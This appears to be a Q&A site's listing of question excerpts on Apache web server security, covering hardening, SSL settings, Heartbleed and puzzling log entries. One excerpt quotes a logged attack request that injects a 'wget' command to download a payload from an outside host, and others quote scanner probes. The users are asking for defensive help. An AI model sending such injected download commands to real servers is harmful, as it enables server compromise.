Questions about the security of Apache open source software, especially Apache HTTP Server

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4
votes
3answers
678 views

Apache logs, suspicious logging apach0day

today I received this 16X.XXX.XX.77 - - [28/Jul/2014:--:--:--] "GET /?x0a/x04/x0a/x02/x06/x08/x09/cDDOSpart3dns;wget%20proxypipe.com/apach0day; HTTP/1.0" 200 3596 "-" "chroot-apach0day" so with ...
1
vote
1answer
54 views

Running an Open Server (contents are visible)

I'm considering the possibility of running an Open Server, as I would call it, that is, a server where as much of its contents are publicly visible as possible. I would like to give read access to ...
0
votes
2answers
63 views

How to prevent Cookie-Bombs?

Egor Homakov made a nice writeup (Cookie Bomb or let's break the Internet) on how to crash CDNs and other websites with cookies. Although this is a user/browser-side DOS, I'm wondering how one would ...
1
vote
2answers
67 views

Block http HEAD, TRACE, DELETE OR TRACK requests is a valid security feature? [duplicate]

Block http HEAD requests helps us to solidify the safety rules for a Apache webserver or this restriction would be an exaggerated? What kind of vulnerability can be exploited by HEAD method? Tests: ...
0
votes
2answers
59 views

Securing apache by IP with .htaccess

I have a folder that I don't want to be accessible from outside my network's LAN. It seems like all traffic from the outside world goes through my firewall (192.168.1.39). So I made my .htaccess as ...
15
votes
4answers
2k views

(How) Can outsiders discover the pages that are being hosted on my server?

I have a web site hosted from my server. Sometimes, I upload database manipulation scripts to a folder which is three levels deep in the website and run them using my web browser. These scripts ...
0
votes
2answers
37 views

how to block ip from head or ping or get or post to webserver (using apache and windows)?

am using apache 2.4.9 latest with windows 7 i am using some modules like limitipconn_module security2_module but using wireshark i get unlimited request to busy my webserver (DOS) from some ip ...
0
votes
1answer
51 views

Apache redirecting to unsecure port

I have setup a test website in order to play around setting up SSL. The website is setup on a Windows host with Apache 2.2.20 with OpenSSL 0.9.8r, MySQL 5.5.37, PHP 5.3.28. The URL to the home page ...
0
votes
2answers
127 views

Clarifying MITM attacks and Digital Certificate requirement

We are running a Portal application for our client with Payment Gateway integrated. Payment gateway uses SSL as it is suppose to be . The concern for me is that our Portal application does not use ...
-1
votes
0answers
77 views

exploiting HTTP HOST header based redirection in apache reverse proxy for intranet resource

I'm looking for suggestion on a POC which I'm doing. I'm trying to solve a use case where in a user accesses the intranet websites from some corporate mobile app when he is not on corporate network ...
5
votes
3answers
590 views

Can allowing a web application to move, copy and/or delete files outside of the server root be a security issue?

I am new at using and programming web applications, so I wanted to ask a question. Is it safe to execute os commands like copy and mv and delete from a web app that is running on an apache, or does it ...
0
votes
1answer
30 views

Are there any exploits in Movable Type that allow the attacker to delete the movable type files?

I'm a developer for a web site; we have a small blog powered by Movable Type that we added a few years ago. The blog doesn't get a lot of traffic or attention; we just noticed a couple of days ago ...
0
votes
3answers
61 views

Prevent a server side script from a direct URL access

There is a server side script written in php(say backend_file.php) or coldfusion(say backend_file.cfm). Lets say, i am using Apache and I have a sample web folder (on my Localhost) like: ...
1
vote
1answer
102 views

Strange bug in ModSecurity with the rule 950901

I have a classic ModSecurity configuration (apt-get...) SecRuleEngine Off SecPcreMatchLimit 1000 SecPcreMatchLimitRecursion 1000 SecAction "phase:1,t:none,nolog,pass, \ ...
1
vote
1answer
86 views

Is this slowloris attack or not?

IP is hidden in apache log for privacy, except last octet. /billing is our application start page. But it doesn't make sense that it sends POST requests, and get 500 response. Or maybe this is ...
1
vote
4answers
162 views

How to detect credit cards harvested from memory?

Had a chat recently with PCI compliance specialist and got to realize there is a way to steal raw data from Apache / Nginx memory e.g. credit cards. It's called "harvesting" and becomes pretty common. ...
-1
votes
2answers
59 views

LAMP Stack Tiers - why?

What are the vulnerabilities mitigated by a tiered LAMP stack? As I understand it, any breach would allow access to the database even if it was tiered. What's the benefit? Are we better to ...
2
votes
1answer
134 views

“global” OCSP with Apache mod_ssl / Alternative to -VAfile option Openssl

Context I'm developping my own OCSP responder which signed its ocsp responses with its own self signed certificate caOcspBC.crt. You can find it here : https://github.com/Dinou/ocspResponder I want ...
1
vote
1answer
82 views

Strange logs in apache from bing/facebook

I am used to finding some random probing from script bots in my apache log files, but today I found some strange entries: 65.55.24.247 - - [25/Apr/2014:01:52:36 +0000] "GET ...
0
votes
0answers
24 views

trackback spotted in multple http errors

[Sun May 11 12:24:46 2014] [error] [client private ip] [X_FORWARDED_FOR 27.159.207.165] Path not found: /contact_us_public.php/trackback/, referer: http://www.mydomain.net/contact_us_public.php Does ...
1
vote
1answer
116 views

How to avoid Heartbleed like problems in the future?

I asked a question on stackoverflow, but guess this site is better suited for it. Idea is to prevent problems when the next buffer overflow bug comes out. In my understanding the problem with ...
0
votes
1answer
69 views

Dangers of PHP uploading word docs into a quarantine

I plan to write a PHP script which will allow web users to upload MS Word formatted docs. Here are the precautions I am taking: Filenames will be created by me (something like YYYY-MM-DD.doc) Files ...
5
votes
3answers
984 views

How to access directories disallowed in robots.txt?

While scanning my website with uniscan it found my robots.txt file which disallows access to /cgi-bin/ and other directories, but they are not accessible in browser. Is there a way to access the ...
2
votes
2answers
146 views

Is it important to use a slow hash in htpasswd?

It's my understanding that the purpose of .htpasswd files is to restrict access to some files in the server filesystem. If an attacker gains access to it, he probably has access to everything else ...
3
votes
3answers
161 views

Is web app safe in not public folder?

I'am wondering if it's really safe to use this structure of my web application. WEBAPP Application Controllers Models Views ... Framework ... ...
2
votes
2answers
246 views

Load balancer and two machines - how many SSL certificates do I need?

We have a load balancer facing the Internet. It's balancing load towards two systems behind it in the back-end running apache. How many SSL certificates do I need to buy? - One for the load-balancer ...
0
votes
1answer
454 views

Apache 2.2 mod_ssl configuration Forward Secrecy/BREACH/BEAST/CRIME

I am looking for mod_ssl configuration which protects against common attacks like Breach, Beast and Crime. I already disabled gzip to avoid Crime but I'm unsure about the others. RC4 should only be ...
0
votes
2answers
157 views

Does the Heartbleed vulnerability affect signed java applets [closed]

I have a Windows based server that serves a signed JAVA applet. The website isn't secured (HTTP), but all JAVA applets have to be signed now, so the site serves a signed JAVA applet as part of a web ...
1
vote
2answers
759 views

Is Apache serving over HTTP vulnerable to Heartbleed? [duplicate]

I run a server whose only public open port is 80, serving non-encrypted data over HTTP, not HTTPS. Is it affected by Heartbleed?
1
vote
3answers
292 views

Strange Apache access logs

A site of ours has been targeted by some kind of strange attack and I am trying to work out exactly how it has happening. Basically, the strangest thing is that the logs seem to correspond to entirely ...
2
votes
1answer
108 views

Apache, DocumentRoot and path traversal - /manual/ query

A PCI scanner of a client is current showing a potential path traversal exploit. The document root is set to /home/somefolder/somewebfoldername/ YET, visiting ourwebsite.com/manual shows the Apache ...
0
votes
1answer
84 views

ssl client authentication: check only one certificate VS certs signed from a ca

i'm about to secure a webservice with client authentication. (apache2, mod_ssl, openssl). from what i googled, i found that it's more common to have a ca, which signs the client certs, which will ...
0
votes
2answers
246 views

Was I a victim of an “Apache PHP Remote Exploit” attack?

I have a server in my computer for testing purposes, accessible from the outside. I was reviewing the access.log file, and I saw 89.187.33.50 - - [29/Mar/2014:03:39:01 +0100] "HEAD / HTTP/1.0" 200 - ...
0
votes
1answer
159 views

501 Not Implemented ServerInfo.jsp

I looked at my logs from amazon ec2 instance and found the following lines: 94.177.121.102 - - [29/Mar/2014:08:50:52 +0000] "XGET /web-console/ServerInfo.jsp HTTP/1.0" 501 418 "-" "-" 94.177.121.102 ...
2
votes
1answer
2k views

SqlMap bypasses OWASP ModSecurity Core Rule Set for SQL Injection

I am trying to perform a simple penetration test on the DVWA (the web application that has been specifically designed to be vulnerable to some of the most common web application attacks). I want to ...
1
vote
2answers
1k views

How to get an “A” on Qualys SSL Labs with Apache 2.2?

I've tried running Qualys' ssltest a few times and it keeps complaining that PFS isn't supported in some browsers. On their blog, they suggest a configuration for Apache 2.4 that should get an "A" ...
2
votes
1answer
422 views

Visitors logs show \x80w\x01\x03\x01 the HNAP1

Can anyone tell me what this means? I'm on Bluehost with a shared server. [ip]71.63.199.72 [url]HNAP1 [size] 134 [status] 401 [method]GET [protocol] HTTP/1.1 [referring url] My server address ...
1
vote
1answer
190 views

Have I done enough not be compromised through image uploading

I know that you can never be sure that you have done enough to be secure, and I also know that file uploading is hard to make correct. Before asking this question I read some of the related posts here ...
3
votes
2answers
167 views

Techniques for enumerating enabled apache modules

A common issue noted by security testers is that the Apache web server is reporting a version in headers which is older than the latest available one. This usually leads to CVE listings detailing the ...
0
votes
0answers
18 views

Someone is making this request to the php cgi on by apache2 server, what does it mean do? [duplicate]

These are the query parameters the hacker is trying to POST: ...
0
votes
1answer
51 views

Security implications of putting virtual hosts source code in /var/www/[domain]

A friend pointed out that putting virtual hosts as sub folders of the default /var/www was a bad idea. (linux example path; this applies to all OS) I see that it's possible to reach the virtual hosts ...
1
vote
1answer
240 views

VPN Client - Addtional Security Layer or a Useless Feature

I have a corporate web portal which is used for staff collaboration including a web-based mail interface connected to MySQL Database, corporate calendar, file storage, customer contacts data with ...
2
votes
2answers
160 views

Does reverse proxy between two web servers impact security of both?

Situation: Consider the site: example.com, hosted at web server A. A WordPress blog is to be installed on a different web server, B. In order to route a WordPress installation to a subdirectory on ...
1
vote
1answer
283 views

www-data is sending rogue mails through sendmail. How do I find the source?

So I have a Ubuntu server hosting a PHP-based web site for me. Some of the services rely on sendmail being configured. I have set it up to send through my GMail account. As of yesterday ~19:00 CET, ...
1
vote
0answers
35 views

How to manage security for multiple PC and VM?

I have a firewall VM which creates I have used to setup subnet for different purposes. For example: (fake ips, of course) 1.1.2.1/24 DMZ 1.1.3.1/24 Internal 1.1.5.1/24 security/logging I use ...
0
votes
4answers
200 views

Strange activity on Apache httpd access log [duplicate]

I have set up an Apache/2.2.22 (Debian) Server on my Rasberry Pi. Looking at my access.log, I see a bit of strange activity consisting mostly of GETs, which is quite disconcerting as I am a complete ...
1
vote
1answer
173 views

Why are OSX users of my TLS-only site being asked to supply a client certificate?

I purchased a Comodo SSL certificate (OV), and set up the Apache vhost config so that all traffic is forwarded to 443. Intermittently some users are being prompted to supply a client certificate; ...
1
vote
1answer
452 views

Is htaccess secure enought to whitelist clients IPs?

I'm using .htaccess to control source IP of connections to my web application. My configuration looks more or less like this: order deny,allow deny from all allow from X.Y.Z.Q These ...
1
vote
0answers
163 views

Nessus scanner and Red Hat backport security updates

I have asked this question: False positive Apache version in scanner results on Centos I need additional clarification: Do you know if it is possible to configure Nessus to adopt Red Hat backport ...
1
vote
1answer
152 views

Separating Apache and MySQL over Tor for security, performance, and reliability

I'm trying to set up a hidden web service over the Tor network, and I was thinking of making a configuration where my Apache server and my database server are located on different networks. I know ...